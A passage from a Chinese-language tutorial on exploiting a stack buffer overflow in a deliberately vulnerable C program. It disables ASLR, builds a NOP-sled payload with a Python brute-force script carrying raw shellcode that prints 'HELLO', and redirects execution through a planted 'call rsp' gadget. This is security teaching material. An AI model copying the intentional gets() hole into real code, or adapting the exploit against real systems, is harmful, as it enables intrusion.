我們寫Shellcode的目的就是為了在Buffer Overflow中不只是執行現有代碼,而是執行任意代碼(Shellcode),但現在寫完了、之後呢?原理很簡單,我們不是能控制程式流程、讓他跳到任意的地方了嗎?那只要把Shellcode輸入進buffer中,之後再控制程式(rip)跳到buffer上面不就完成啦!但實際上如何做呢?我們先來看最簡單的例子。
#include <stdio.h>void hacker()
{
printf("No, I'm a hacker!\n");
}
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you're harmless, aren't you?\n", name);
}int main()
{
nonSecure();
return 0;
}
這是上一章的程式,一樣compile完後執行、一樣進gdb環境跑、一樣輸入一堆A讓程式崩潰。
gcc overflow.c -o overflow -z exec-stack -fno-stack-protector
看一下register,看看rsp的值:
在上一章已經知道nonSecure的ret距離name[]應該是24個bytes(hex : 0x18),所以name[]的位址應該是0x7fffffffdab8–0x18=0x7fffffffdaa0 (注意,你的電腦看到的數值可能不會和我一樣)。
展示stack檢查一下:
可以看到開始出現"0x41"的地方(ASCII : A)的確是0x7fffffffdaa0。
p.s. 較嚴謹的方式是看assembly code算位移,但在此想先用較簡易明瞭的方式。
所以把這個位址覆蓋到ret上面,並且輸入shellcode進去name[]裡面不就完成了嗎?還沒有,還有一個小細節要修正,如同上頭所說name[]距離ret只有24個bytes,這個空間並不足以放我們的shellcode(p.s. “HELLO”的shellcode長度為66bytes)。
那怎麼辦呢?很簡單,放到ret後面的地方就可以了。但現在覆蓋ret的值就要再加上32(0x20)bytes(原本是name[]的位址,現在放到ret「後面」,ret本身長度為8bytes,所以name[]+24+8=name[]+32)
有了這個數字後就可以來建構我們的payload,並在gdb下執行:
OK,直接拿去執行應該也會成功吧......咦?怎麼失敗了?
首先第一個可能原因是ASLR,這裡先做極短的簡介-ASLR會讓記憶體位址隨機化,也就是說我們填入ret的值是沒有用的(我們填入的是一個固定值)。
輸入以下指令:
cat /proc/sys/kernel/randomize_va_space
若顯示的不是0,代表ASLR作用中,只要把他設定為0就可以關閉了。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
那麼這次該成功了吧......咦?怎麼還是失敗了?
再來可能的原因是縱然執行同一個程式,用什麼方法執行他也會有差異,例如用gdb執行的stack和用bash執行的stack長的並不一樣,環境變數的差異、執行檔路徑的差異(由於這並不是我們要討論的重點,若想更詳細了解可參考這篇),以上提到的兩個其實就是main函式的參數,還記得上一章我們所說的吧?參數的確會影響stack的長相-stack不一樣,buffer的位址就不一樣,shellcode的擺放位址也就不一樣。
當然不只有gdb、bash的差別,即使執行的方法都用bash,但兩個不同的bash下執行其結果也仍可能不一樣,以下是筆者小小修改了overflow.c-讓他printf出buffer位址,所測到的兩個不同結果:
而除了執行方法的差異外,可能的原因還有-同一個程式被載入到記憶體中,他們的虛擬記憶體位址(Virtual Memory)一樣,但虛擬記憶體所映射(map)到的實體記憶體位址(Physical Memory)可能不一樣,這取決於你的OS!
OK......ASLR都關了還不行,那現在要怎麼辦呢?以下提供兩個解法:
在不知道buffer位址的情況下,一般會想到怎麼做?當然最直覺的方式就是用「猜」的,但如何提升猜中的成功率呢?先假設整個shellcode範圍就像一個平台,你要想辦法跳進去,那麼是不是你有個大平台之後就會很容易的成功呢?但隨便跳會有個顯而易見的問題,假設有個shellcode是這樣:
a=1;
b=2;
如果順利跳到”a=1”那當然是皆大歡喜,但萬一跳到”b=2”這行,那麼”a=1”就沒有執行到了,這當然不行!
所以我們希望跳到的地方不影響shellcode其本身目的,解決方法就是放一堆NOP指令(NOP sleds),也就是"不做任何事"的指令,只要把一堆NOP放在shellcode前面,當我們跳到NOP的範圍內,程式流程就會不斷進行下去,並順利的進入shellcode範圍。
當buffer位址差異只是因為如上面所提到-環境變數等原因,通常其差異都很小,再加上有NOP Sleds後會非常好猜,這裡提供exploit程式:
p.s.1 NOP machine code : 0x90
p.s.2 當然由於位址差距很小,也可以用手動更改要猜的位址,但這裡還是提供較嚴謹的作法
#!/usr/bin/pythonimport struct
from subprocess import *shellcode = "\x48\xB8\x48\x45\x4C\x4C\x4F\x09\x00\x00\x48\xBB\x00\x00\x00\x00\x00\x01\x00\x00\x48\x01\xD8\x50\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xE6\x48\xC7\xC2\x06\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\xC7\xC7\x00\x00\x00\x00\x0F\x05"
nops = '\x90'*1000
ret = 0x7fffffffdac0
junk = "A"*24def gen_shell(offset):
exploit = junk + struct.pack("<Q", ret + offset) + nops + shellcode
return exploitoffset = len(nops)
miss = 1
while True:
print 'offset: ' + hex(offset)
p = Popen(['./overflow'], stdout = PIPE, stdin = PIPE, stderr = PIPE)
exploit = gen_shell(offset)
out = p.communicate(input = exploit)[0]
if len(out) != 0:
print 'Total try: ' , miss
print 'Program output:\n' + out
break
p = Popen(['./overflow'], stdout = PIPE, stdin = PIPE, stderr = PIPE)
exploit = gen_shell(-offset)
out = p.communicate(input = exploit)[0]
if len(out) != 0:
print 'Total try: ' , miss
print 'Program output:\n' + out
break
offset += len(nops)
miss += 1
程式不斷根據正負offset(也就是NOP Sleds的長度)產生對應的payload,並且不斷嘗試直到成功為止。
以下是成果:
想像一下,今天如果shellcode是個函式,那麼要如何執行他呢?只要執行這行指令就行:
shellcode();
好像是廢話對吧?那如果從assembly的角度來看會是怎麼樣呢?
call shellcode
恩......好像也沒什麼問題。
如果上面的例子都沒問題的話,就應該知道函式其實就是個指標,執行函式說白話點就只是改變RIP的成為該函式的位址而已。那如果函式的位址剛好就是RSP的值,是不是只要"call rsp"就行了?
事實上我們的shellcode在nonSecure()返回後,RSP會剛好指著他!因為nonSecure()返回時RSP指向返回位址,又因為我們設計shellcode緊接在返回位址之後,所以當他返回後(也就是執行"ret"後),RSP就指向下一個-也就是shellcode的起頭。
利用"CALL RSP"這種方法,我們就不用寫死位址在返回位址上面了(而且也充滿不確定性),而且RSP的值是什麼也根本不需要知道呀,這也是我們上面一直在煩惱的問題-找不到確切的位址。
但說了那麼多,但實際上要怎麼做呢......把CALL RSP這條指令放在shellcode裡面嗎?當然不行,現在問題就是不知道shellcode的實際位址,所以裡面不管放什麼都是一樣意思。
CALL RSP也是一條指令,byte code是 “\xFF\xD4”。在記憶體中找到 “\xFF\xD4”是有可能的,只要他不在stack區段(section)-例如.data區段、.text區段等等......(如同我上面一直強調的,stack所得到的位址是不穩定的),就可藉由找到某個記憶體位址,裡面存放著指 “\xFF\xD4”,然後把這個位址填到返回位址中(就如同上一章節的hacker函式),當函式ret時就會到這個位址執行”CALL RSP”,之後程式流程就跳轉到shellcode上。
但我們的程式實在是太小了,很有可能會找不到“\xFF\xD4”,為了方便我們直接修改overflow.c,讓他裡面真的有“\xFF\xD4”。
#include <stdio.h>char inst[] = "\xff\xd4"; // CALL ESP is here !void hacker()
{
printf("No, I'm a hacker!'\n");
exit(0);
}
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you're harmless, aren't you?\n", name);
}
int main()
{
nonSecure();
return 0;
}
重新編譯後,先用readelf看看.data section在哪(這個區段存放著我們的指令字串)。
可以看到.data section是從0x601048開始,大小為0x1048。
接著我們用gdb指令find來找這個字串:
p.s. 由於筆者使用gdb套件的關係,指令用法跟原本gdb略有差異
找到了,在0x601058,之後只要把這個位址放在ret處就可以了,以下是新的exploit程式:
執行結果:
到這裡為止我們已經學習了如何在buffer overflow中利用shellcode,包含兩種讓程式流程可以跳到shellcode上面的方法,到此先到一段落,礙於篇幅問題,電腦的安全防護(包含各位在這章一直看到的ASLR)留到之後再談。
在下一章將會介紹windows上的shellcode,如同本章開頭所提到的,windows的shellcode和linux的有著巨大的不同,在windows下如何撰寫shellcode、並利用在buffer overflow中,且在下一章將會有行為較有趣的shellcode出現(例如新增一個管理員帳號、下載東西等等......),那麼我們下次再見!
p.s. ......那為什麼這章的shellcode那麼單調、只是顯示一個hello呢?其實若讀者們想練習其他種shellcode可以自行嘗試(例如生一個shell並切換為root權限等等),因為在linux下shellcode撰寫相對容易,在本章不再贅述。